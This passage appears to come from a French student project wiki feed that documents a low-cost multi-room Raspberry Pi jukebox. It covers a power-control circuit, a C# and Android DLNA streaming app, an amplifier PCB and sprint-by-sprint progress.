Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 6V est connecté à ce circuit. Puisque la Raspberry Pi doit être alimentée en 5V, nous avons ajouté un régulateur de tension de 5V.&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, non connecté. Dans cette situation, la Raspberry fonctionne correctement avec la source d’alimentation normale et les piles ne sont pas utilisées.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, la Raspberry ne sera plus connectée à la masse, ce qui préservera les piles en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : &amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Partie Software====&lt;br /&gt;
&lt;br /&gt;
=====UPnP/DLNA sous Android=====&lt;br /&gt;
&lt;br /&gt;
L'objectif principal est d'arriver à streamer une musique depuis notre propre application Android. Pour cela je projetais d'utiliser la librairie Java Cling développée par un particulier, cependant :&lt;br /&gt;
&lt;br /&gt;
* Très peu de documentation&lt;br /&gt;
* Utilise le gestionnaire de projet Maven sous Eclipse (par opposition à Gradle sous Android Studio)&lt;br /&gt;
* Nécessite Jetty qui n'est pas disponible pour Android (seul un portage nommé i-Jetty existe)&lt;br /&gt;
* Google ne supporte plus le développement d'applications Android sous Eclipse&lt;br /&gt;
&lt;br /&gt;
Cette librairie étant très difficile à mettre en place, j'ai cherché d'autres solutions pouvant exister sous Android (CyberLink4Android...) sans plus de succès. J'ai alors fait appel à benjamin Barbry l'intervenant extérieur en Android qui n'a pas non plus réussi à implémenter Cling sous Android Studio. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après discussion de la situation avec mes tuteurs il a été décidé qu'il était préférable que je me tourne plutôt vers le développement d'une application pour PC.&lt;br /&gt;
&lt;br /&gt;
=====UPnP/DLNA sur PC=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai fait une recherche des solutions open source existantes :&lt;br /&gt;
&lt;br /&gt;
* [http://serviio.org/ Serviio] un serveur DLNA multiplate-formes&lt;br /&gt;
* [http://www.streamwhatyouhear.com/ Stream What You Hear] un logiciel permettant de diffuser tous les sons du PC vers un lecteur DLNA&lt;br /&gt;
* [https://kodi.tv/ Kodi] un serveur DLNA multiplate-formes&lt;br /&gt;
&lt;br /&gt;
Cependant il a été jugé intéressant de développer entièrement ma propre application car cela me permet d'avoir un contrôle total sur le code et d'implémenter seulement les fonctions jugées utiles. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J’ai décidé de coder l’application en C# car c’est un langage que je connais bien et qui utilise le framework .NET de Microsoft. Le choix s’est porté sur ce langage principalement car c’est le langage permettant la création d’une interface graphique que je maîtrise le mieux. Par la suite il sera possible d’obtenir une certaine portabilité de l’application sur d’autres systèmes d’exploitation grâce au projet Mono qui est une implémentation open source du framework .NET pour Linux, Mac OS mais aussi Windows.&lt;br /&gt;
&lt;br /&gt;
=====Fonctionnement des protocoles=====&lt;br /&gt;
&lt;br /&gt;
Le problème rencontré lors de l'implémentation des protocoles a principalement été que les documentations étaient soit exhaustives (plus de 1700 pages) soit inexistantes. A l'aide de code trouvé sur internet et de Wireshark j'ai alors réussi à comprendre le fonctionnement de ces protocoles :&lt;br /&gt;
&lt;br /&gt;
* L'UPnP sert à la découverte des appareils (multicast UDP sur le port 1900) ainsi qu'à leur contrôle (SOAP via http)&lt;br /&gt;
* Le DLNA (pour la récupération de musique en tout cas) consiste en un GET sur un port choisi&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DLNA.png]]&lt;br /&gt;
&lt;br /&gt;
=====Codage de l'application=====&lt;br /&gt;
&lt;br /&gt;
Pour gagner du temps j’ai décidé d’employer un serveur web portable prêt à l’emploi plutôt que de le coder moi-même. J’ai trouvé deux solutions envisageables :&lt;br /&gt;
&lt;br /&gt;
* [https://www.ritlabs.com/en/products/tinyweb/ TinyWeb] un serveur open source de 53Ko gérant le http et https&lt;br /&gt;
* [https://www.cesanta.com/products/mongoose/ Mongoose] un serveur cross plateforme open source de 168Ko codé en C/C++ gérant le http et https&lt;br /&gt;
&lt;br /&gt;
J’ai fini par choisir TinyWeb car il permettait de choisir en ligne de commande le port sur lequel le serveur doit être démarré et il est plus transparent pour l’utilisateur car il n’affiche pas d’icône à son lancement. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai ensuite commencé à coder l'interface. L'objectif était d'avoir une interface simple, claire mais offrant à l'utilisateur toutes les fonctionnalités nécessaires.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:interfaceDLNA.jpg]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lors de la découverte des appareils sur le réseau, mon programme attend une réponse et par conséquent bloque le thread principal responsable de la gestion de l'interface graphique. Pour palier à ce problème là, je lance tout les processus responsables de la gestion du réseau dans un thread séparé. Cela permet de garde une interface graphique fluide, mais aussi de pouvoir détecter les appareils sur le réseau le plus rapidement possible en fond. Ainsi, il est possible de rafraîchir facilement la liste des appareils sur le réseau directement dans la fenêtre de sélection des clients DLNA :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:appareilsDLNA.jpg]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mon application permet ainsi de streamer vers un ou plusieurs lecteurs DLNA à la fois.&lt;br /&gt;
&lt;br /&gt;
=====Objectif futur=====&lt;br /&gt;
&lt;br /&gt;
L'objectif suivant est d'arriver à streamer un flux vers une paire d'enceintes connectées en créant un effet stéréo. Cependant des problèmes peuvent se présenter pour implémenter cette fonctionnalité :&lt;br /&gt;
&lt;br /&gt;
* La mémoire tampon est réglée sur le lecteur DLNA, elle peut donc changer si ils ne sont pas identiques&lt;br /&gt;
* La mémoire tampon dépendant du débit et de la qualité de connexion, si l'utilisateur passe par le wifi et que les enceintes sont relativement éloignées ou qu'elle disposent de cartes wifi diférentes, la mémoire tampon mettra plus ou moins de temps à se remplir&lt;br /&gt;
&lt;br /&gt;
Comme cette mémoire doit être pleine avant que la musique se lance, la différence de débit peut très facilement provoquer un décalage très désagréable à l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=====Sources et documents=====&lt;br /&gt;
&lt;br /&gt;
Ce projet étant open source et destiné à tout public j'ai hébergé les sources de mon programme sur [https://github.com/Fraise/OmegaUPnP Github] et j'ai rédigé un tutoriel destiné à toute personne voulant mettre en place un client DLNA chez lui et streamer des médias ([[Fichier:Tuto_Enceinte_Connectee.pdf]]).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le tutoriel concernant la partie hardware du module pour haut-parleur passif et tous les fichiers associés sont disponibles à [https://www.dropbox.com/sh/q82g95fuuidv219/AABkCG3IuBOGsHTRiJu5u4k_a?dl=0 cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27782</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27782"/>
				<updated>2016-02-24T09:11:18Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Tutoriel type instructables */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
* Une enceinte embarquant un amplificateur audio et un système Wifi pour recevoir le flux de données&lt;br /&gt;
* Une application sur PC afin de permettre le choix du flux musical à envoyer (chaque enceinte pourra recevoir un flux différent si souhaité) ainsi que le contrôles habituels (volume, corrections, ...)&lt;br /&gt;
* Une application sur Smartphone permettant de commander le système&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
'''Matériel envisagé :'''&lt;br /&gt;
&lt;br /&gt;
* Plateforme Linux embarqué (Raspberry Pi)&lt;br /&gt;
* [http://electronics-diy.com/schematics/1318/50w-lm3886-power-amplifier-2.gif Amplificateur de puissance à base de LM3886] (Coût plus important, meilleure qualité, puissance de sortie plus importante)&lt;br /&gt;
* [http://www.sonelec-musique.com/images/electronique_ampli_bf_lm386.gif Amplificateur de puissance à base de LM386] (Coût moins important, moins bonne qualité, puissance de sortie plus faible)&lt;br /&gt;
* [http://www.gotronic.fr/art-paire-d-enceintes-sp3v-13522.htm Haut parleur 8 Ohm]&lt;br /&gt;
&lt;br /&gt;
* Possibilité d'utiliser également des haut parleurs actifs avec la Raspberry Pi&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Logiciels envisagés :'''&lt;br /&gt;
&lt;br /&gt;
* Création d'une application pour Android avec Android Studio&lt;br /&gt;
* Utilisation des logiciels intégrés pour les autres plateformes (AirPlay, Windows Media player)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Architecture des modules====&lt;br /&gt;
=====Présentation des modules=====&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P4_Sol1.png|320px|thumb|right|Type #1]]&lt;br /&gt;
[[Fichier:P4_Sol2.png|320px|thumb|right|Type #2]]&lt;br /&gt;
&lt;br /&gt;
Pour clarifier les choses, nous appellerons '''« module »''' le haut-parleur et ses équipements embarqués, la partie applicative pour streamer la musique étant mise de côté.&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le cadre de ce projet, nous sommes partis sur '''deux types de module distincts''' puisque nous souhaitons proposer au public une '''solution modulaire et non fermée'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Dans les deux solutions, nous avons choisi d’ajouter à la Raspberry Pi une carte son USB afin d’améliorer considérablement la qualité sonore que nous envoyons vers le haut-parleur.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 1=====&lt;br /&gt;
&lt;br /&gt;
Le premier module embarque une '''Raspberry Pi avec MusicBox''' pour la réception de la musique ainsi qu’une '''carte son USB'''.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permet à l’utilisateur de brancher '''n’importe quel haut-parleur actif''' à la carte son avec un connecteur jack 3.6 mm. Il pourra ainsi '''garder son propre haut-parleur''' s’il le désire.&lt;br /&gt;
&lt;br /&gt;
=====Type de module 2=====&lt;br /&gt;
&lt;br /&gt;
Le second module embarque lui aussi une '''Raspberry Pi avec MusicBox''' ainsi qu’une '''carte son USB'''. &lt;br /&gt;
&amp;lt;br&amp;gt;Cependant nous proposons en plus dans celui-ci un '''amplificateur audio''' auquel nous connecterons un '''haut-parleur passif'''.&amp;lt;br&amp;gt;&lt;br /&gt;
L’avantage de cette solution est de '''maîtriser la qualité audio du haut-parleur''' pour notre utilisateur et de ne fournir qu’une seule « boite » avec '''solution toute intégrée'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Les modules seront connectés à un réseau Wi-Fi domestique sur lequel un smartphone ou un ordinateur envoyant la musique y seront aussi connectés.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Principe_Chaine_Transmission.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
&lt;br /&gt;
* Définition du cadre du projet&lt;br /&gt;
* Création du cahier des charges&lt;br /&gt;
* Création de l'enceinte connectée (boitier, circuit d'amplification, logiciels de la plateforme Linux embarquée)&lt;br /&gt;
* Développement du logiciel de diffusion de l'ordinateur central&lt;br /&gt;
* Développement de l'application mobile&lt;br /&gt;
&lt;br /&gt;
=== Objectifs à long terme ===&lt;br /&gt;
&lt;br /&gt;
=====Une solution DIY pour des coûts maitrisés=====&lt;br /&gt;
&lt;br /&gt;
Un des objectifs importants de ce projet est le coût puisque nous verrons par la suite après établissement d’un état de l’art (Sprint 2) qu’un haut-parleur multi-room dans le commerce se trouve dans une fourchette de prix allant de 100 à 500 euros. Il est donc évident que l’achat d’une enceinte par pièce revient très rapidement assez cher.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera donc d’obtenir un module ayant un coût maximum de 80 euros pour une solution prête à l’emploi. La modularité du projet permettra à l’utilisateur de mettre le prix qu’il souhaite pour la qualité sonore de son choix (un haut-parleur actif pour le module 1, un couple amplificateur/haut-parleur pour le module 2).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le danger majeur porte sur la qualité audio qui diminue très rapidement quand le coût baisse. La somme de 80 euros est un bon compromis pour notre projet.&lt;br /&gt;
Nous avons aussi vu très récemment que la Raspberry Pi Zero à 6 euros d’une puissance suffisante pour notre projet était disponible, contre une trentaine d’euros pour la solution actuelle. Elle a également l’avantage d’être beaucoup plus compacte que le modèle B+.&amp;lt;br&amp;gt;&lt;br /&gt;
Cette solution permettra dans le futur de pouvoir faire diminuer le coût total du projet pour une personne voulant le réaliser par la suite.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
